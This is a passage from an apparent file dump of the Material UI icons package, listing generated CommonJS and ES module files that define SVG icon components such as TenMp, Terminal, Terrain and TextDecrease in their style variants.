'TenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TenMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 7H15v3h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zm6.5 5c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm-1 3.5H17v1.5h-1.5z\"\n}), 'TenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TenMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5H15v3h-1.5zm-6 7h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm1-2.5H10v-6H7V7h1.5zm5 7H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\")], 'TenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TenMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5H15v3h-1.5zm-6 7h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm1-2.5H10v-6H7V7h1.5zm5 7H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\")], 'TenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TenMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 7H15v3h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7.25 15.5c-.41 0-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75m2.5 0c-.41 0-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75M10 6.5v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75H9c.55 0 1 .45 1 1m6.5 4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zM15 14h1.5v1.5H15z\"\n}), 'TenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TenMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 7H15v3h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7.25 15.5c-.41 0-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75m2.5 0c-.41 0-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75M10 6.5v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75H9c.55 0 1 .45 1 1m6.5 4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zM15 14h1.5v1.5H15z\"\n}), 'TenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TenMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 7H15v3h-1.5zM21 3H3v18h18zm-8.5 15.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm2.5 0h-1.5v-6H18V17h-3zm-5-13v6H8.5V7H7V5.5zm6.5 0v6H12v-6zM15 14h1.5v1.5H15z\"\n}), 'TenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TenMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 7H15v3h-1.5zM21 3H3v18h18zm-8.5 15.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm2.5 0h-1.5v-6H18V17h-3zm-5-13v6H8.5V7H7V5.5zm6.5 0v6H12v-6zM15 14h1.5v1.5H15z\"\n}), 'TenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TenMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 7H15v3h-1.5zm1.5 7h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-6-7c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1zm-5-1h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5H15v3h-1.5zm-6 7h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm1-2.5H10v-6H7V7h1.5zm5 7H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\")], 'TenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TenMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 7H15v3h-1.5zm1.5 7h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-6-7c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1zm-5-1h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5H15v3h-1.5zm-6 7h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm1-2.5H10v-6H7V7h1.5zm5 7H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\")], 'TenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Terminal.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H4V8h16zm-2-1h-6v-2h6zM7.5 17l-1.41-1.41L8.67 13l-2.59-2.59L7.5 9l4 4z\"\n}), 'Terminal');"
  },
  {
    "path": "packages/mui-icons-material/lib/Terminal.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H4V8h16zm-2-1h-6v-2h6zM7.5 17l-1.41-1.41L8.67 13l-2.59-2.59L7.5 9l4 4z\"\n}), 'Terminal');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerminalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H4V8h16zm-2-1h-6v-2h6zM7.5 17l-1.41-1.41L8.67 13l-2.59-2.59L7.5 9l4 4z\"\n}), 'TerminalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerminalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H4V8h16zm-2-1h-6v-2h6zM7.5 17l-1.41-1.41L8.67 13l-2.59-2.59L7.5 9l4 4z\"\n}), 'TerminalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerminalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H4V8h16zm-8-2c0-.55.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1M6.79 9.71c.39-.39 1.02-.39 1.41 0l2.59 2.59c.39.39.39 1.02 0 1.41L8.2 16.3c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L8.67 13l-1.88-1.88a.996.996 0 0 1 0-1.41\"\n}), 'TerminalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerminalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H4V8h16zm-8-2c0-.55.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1M6.79 9.71c.39-.39 1.02-.39 1.41 0l2.59 2.59c.39.39.39 1.02 0 1.41L8.2 16.3c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L8.67 13l-1.88-1.88a.996.996 0 0 1 0-1.41\"\n}), 'TerminalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerminalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm18 14H4V8h16zm-2-1h-6v-2h6zM7.5 17l-1.41-1.41L8.67 13l-2.59-2.59L7.5 9l4 4z\"\n}), 'TerminalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerminalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm18 14H4V8h16zm-2-1h-6v-2h6zM7.5 17l-1.41-1.41L8.67 13l-2.59-2.59L7.5 9l4 4z\"\n}), 'TerminalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerminalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V8H4zm8-3h6v2h-6zm-5.91-4.59L7.5 9l4 4-4 4-1.41-1.41L8.67 13z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15h6v2h-6z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H4V8h16z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7.5 17 4-4-4-4-1.41 1.41L8.67 13l-2.58 2.59z\"\n}, \"3\")], 'TerminalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerminalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V8H4zm8-3h6v2h-6zm-5.91-4.59L7.5 9l4 4-4 4-1.41-1.41L8.67 13z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15h6v2h-6z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H4V8h16z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m7.5 17 4-4-4-4-1.41 1.41L8.67 13l-2.58 2.59z\"\n}, \"3\")], 'TerminalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Terrain.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'Terrain');"
  },
  {
    "path": "packages/mui-icons-material/lib/Terrain.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'Terrain');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerrainOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 6-4.22 5.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22zM5 16l1.52-2.03L8.04 16z\"\n}), 'TerrainOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerrainOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 6-4.22 5.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22zM5 16l1.52-2.03L8.04 16z\"\n}), 'TerrainOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerrainRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.2 7.07 10.25 11l2.25 3c.33.44.24 1.07-.2 1.4s-1.07.25-1.4-.2c-1.05-1.4-2.31-3.07-3.1-4.14-.4-.53-1.2-.53-1.6 0l-4 5.33c-.49.67-.02 1.61.8 1.61h18c.82 0 1.29-.94.8-1.6l-7-9.33c-.4-.54-1.2-.54-1.6 0\"\n}), 'TerrainRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerrainRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.2 7.07 10.25 11l2.25 3c.33.44.24 1.07-.2 1.4s-1.07.25-1.4-.2c-1.05-1.4-2.31-3.07-3.1-4.14-.4-.53-1.2-.53-1.6 0l-4 5.33c-.49.67-.02 1.61.8 1.61h18c.82 0 1.29-.94.8-1.6l-7-9.33c-.4-.54-1.2-.54-1.6 0\"\n}), 'TerrainRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerrainSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'TerrainSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerrainSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'TerrainSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerrainTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16h3.04l-1.52-2.03z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.78 11.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22L14 6zM5 16l1.52-2.03L8.04 16z\"\n}, \"1\")], 'TerrainTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TerrainTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16h3.04l-1.52-2.03z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.78 11.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22L14 6zM5 16l1.52-2.03L8.04 16z\"\n}, \"1\")], 'TerrainTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextDecrease.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM23 11v2h-8v-2z\"\n}), 'TextDecrease');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextDecrease.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM23 11v2h-8v-2z\"\n}), 'TextDecrease');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextDecreaseOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM23 11v2h-8v-2z\"\n}), 'TextDecreaseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextDecreaseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM23 11v2h-8v-2z\"\n}), 'TextDecreaseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextDecreaseRounded.js",
